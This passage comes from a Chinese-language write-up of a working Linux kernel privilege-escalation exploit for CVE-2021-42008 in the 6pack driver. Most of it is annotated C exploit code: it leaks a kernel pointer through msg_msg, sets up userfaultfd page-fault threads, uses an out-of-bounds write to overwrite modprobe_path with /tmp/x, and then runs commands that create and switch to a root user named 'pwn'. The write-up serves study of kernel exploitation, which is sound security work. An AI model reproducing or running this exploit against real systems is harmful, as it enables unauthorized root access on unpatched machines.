    switch (tag)
    {
        case 0x4141: return 0;
        case 0x4242: return 1;
        case 0x4343: return 2;
        case 0x4444: return 3;
        case 0x4545: return 4;
        case 0x4646: return 5;

        default: return -1;
    }
}


void leak_pointer(void)
{
    uint64_t *leak;

    for (int id = 0; id < N_MSG; id ++)
    {
        leak = (uint64_t *)recv_msg(qid_A[id], 0x1100, 0);

        if (leak == NULL)
            continue;

        for (int i = 0; i < 0x220; i++)
        {
            if ((leak[i] & 0xffff) == INIT_IPC_NS) 					// [2]
            {
                init_ipc_ns = leak[i];
                valid_qid = find_message_queue((uint16_t)leak[1]); 	// [3]
                modprobe_path = init_ipc_ns - 0x131040; 			// [4]
                return;
            }
        }
    }
}

[...]

leak_pointer(); 									// [1]

[...]

以下是触发OOB读的内存布局:

10

2-4. 越界写篡改modprobe_path

复用sixpack结构:现在知道了 modprobe_path 地址,需要构造任意读原语。原先相连的sixpackmsg_msg结构都已被破坏,如果重新初始化新的sixpack结构,会降低利用成功率,这里有方法复用之前损坏的sixpack结构吗?答案是可以,之前提到了 tnc_init() 函数,当一个新的 sixpack channel 被初始化后,tnc_init() 会设置一个5s的timer,一旦超时就会调用 resync_tnc()

resync_tnc() 源码可以看到,5s后会重置 receiver 状态,意味着 sp->rx_countsp->rx_count_cooked 被重置为0 — [1][2]sp->status被设置为1—[3],接着重启该timer—[4]。所以5s后就能重用该 sixpack 结构,构造OOB写。

static void resync_tnc(struct timer_list *t)
{
	struct sixpack *sp = from_timer(sp, t, resync_t);
	static char resync_cmd = 0xe8;

	/* clear any data that might have been received */

	sp->rx_count = 0;				// [1]
	sp->rx_count_cooked = 0;  		// [2]

	/* reset state machine */

	sp->status = 1;					// [3]
	sp->status1 = 1;
	sp->status2 = 0;

	/* resync the TNC */

	sp->led_state = 0x60;
	sp->tty->ops->write(sp->tty, &sp->led_state, 1);
	sp->tty->ops->write(sp->tty, &resync_cmd, 1);


	/* Start resync timer again -- the TNC might be still absent */
	mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT);	// [4]
}

userfaultfd初始化:我们可以接着初始化 N_THREADS 个(本exp中为8)页错误处理线程:首先8次调用 mmap(),每次map 3页内存;每次都使用userfaultfd监视第2个页—[1];接着开启8个页错误处理 handler—[2],每个线程都处理一个特定的页。

void create_pfh_thread(int id, int ufd, void *page)
{
    struct pfh_args *args = (struct pfh_args *)malloc(sizeof(struct pfh_args));

    args->id = id;
    args->ufd = ufd;
    args->page = page;

    pthread_create(&tid[id], NULL, page_fault_handler, (void *)args);
}

[...]

for (int i = 0; i < N_THREADS; i++) 		// [1]
{
    mmap(pages[i], PAGE_SIZE*3, PROT_READ|PROT_WRITE,
            MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    ufd[i] = initialize_ufd(pages[i]);
}


for (int i = 0; i < N_THREADS; i++)
    create_pfh_thread(i, ufd[i], pages[i]); // [2]

[...]

构造任意写线程:接着继续分配8个 kmalloc-4096 大小的 msg_msg 和相应的 kmalloc-32 大小的 msg_msgseg

  • (1)首先关闭 msg_msgsixpack 结构之后的消息队列—[1],这样就能在原先的位置分配新的 msg_msg
  • (2)再次生成payload,这次 target = modprobe_path-0x8[2],这会将 msg_msg->next 指针指向 modprobe_path-0x8,减去8是因为msg_msgseg->next 必须为NULL,否则load_msg()就会访问下一个msg_msgseg,导致崩溃;

  • (3)我们调用 create_message_thread() 创建8个线程—[3],每个线程都分配kmalloc-4096大小的msg_msg,我们将消息放在被监控页的前0x10字节—[4],这样 load_msg() -> copy_from_user() 会触发页错误并暂停;

  • (4)最后,等待6s—[5],等resync_tnc() 被调用并重置 sixpack receiver的状态(重置sixpack结构)。
void alloc_msg_queue_B(int id)
{
    if ((qid_B[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("[X] msgget");
        exit(1);
    }
}


void *allocate_msg(void *arg)
{
    int id = ((struct t_args *)arg)->id;
    void *page = ((struct t_args *)arg)->page;

    debug_printf("[Thread %d] Message buffer allocated at 0x%lx\n", id + 1, page + PAGE_SIZE - 0x10);
    alloc_msg_queue_B(id);

    memset(page, 0, PAGE_SIZE);
    ((uint64_t *)(page))[0xff0 / 8] = 1; // msg_msg.m_type = 1

    if (msgsnd(qid_B[id], page + PAGE_SIZE - 0x10, 0x1018, 0) < 0) // [4]
    {
        perror("[X] msgsnd");
        exit(1);
    }

    debug_printf("[Thread %d] Message sent!\n", id + 1);
}


void create_message_thread(int id, void *page)
{
    struct t_args *args = (struct t_args *)malloc(sizeof(struct t_args));

    args->id = id;
    args->page = page;

    pthread_create(&tid[id + 2], NULL, allocate_msg, (void *)args);
}

[...]

close_queue(qid_A[valid_qid]); 						// [1]
payload = generate_payload(modprobe_path - 0x8); 	// [2]

for (int i = 0; i < N_THREADS; i++)
    create_message_thread(i, pages[i]); 			// [3]

waitfor(6, "Waiting for resync_tnc callback..."); 	// [5]

[...]

内存布局如下所示,sixpack 结构之后有一个新的 msg_msgcopy_from_user()也触发页错误而挂起,目前不知道哪一个消息队列的消息位于 sixpack 结构之后,暂时记为 QID #Y。

11

任意写payload:现在通过sixpack channel 来发送payload:payload先设置 sp->rx_count_cooked = 0x190,再设置 sp->rx_count_cooked = 0x696,再覆写某个msg_msg->next = modprobe_path-0x8

[...]

puts("[*] Overwriting modprobe_path...");
write(ptmx, payload, WRITE_PAYLOAD_SIZE); // [1]

[...]

12

篡改modprobe_path:最后,打开每个页错误处理线程的栅栏:就会将 modprobe_path指向的字符串篡改为 /tmp/x

[...]
release_pfh = true;
[...]

13

提权:最后阶段,触发执行 /sbin/modprobe(其实是 /tmp/x),并确认是否添加了新的root用户,调用getpwnam()(获取对应用户名的passwd结构)来确认,若失败则重新运行exp。

[...]

system("/tmp/asd 2>/dev/null"); // [1]

if (!getpwnam("pwn")) 			// [2]
{
    puts("[X] Exploit failed, try again...");
    goto end;
}

puts("[+] We are root!");
system("rm /tmp/asd && rm /tmp/x");
system("su pwn");

[...]

succeed


3. 结论

还有其他的方法可以利用本漏洞。内核 5.11 版本提出了 first patch,使非特权用户无法使用 userfaultfd,又提出了second patch,使得用户只能处理用户模式的页错误。


参考

exploit

[CVE-2021-42008] Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver —— 漏洞利用

https://nvd.nist.gov/vuln/detail/CVE-2021-42008

6pack Protocol —— 6pack协议介绍

Linux 终端(TTY)

运算符—“~”取反符号的理解

文档信息

Search

    Table of Contents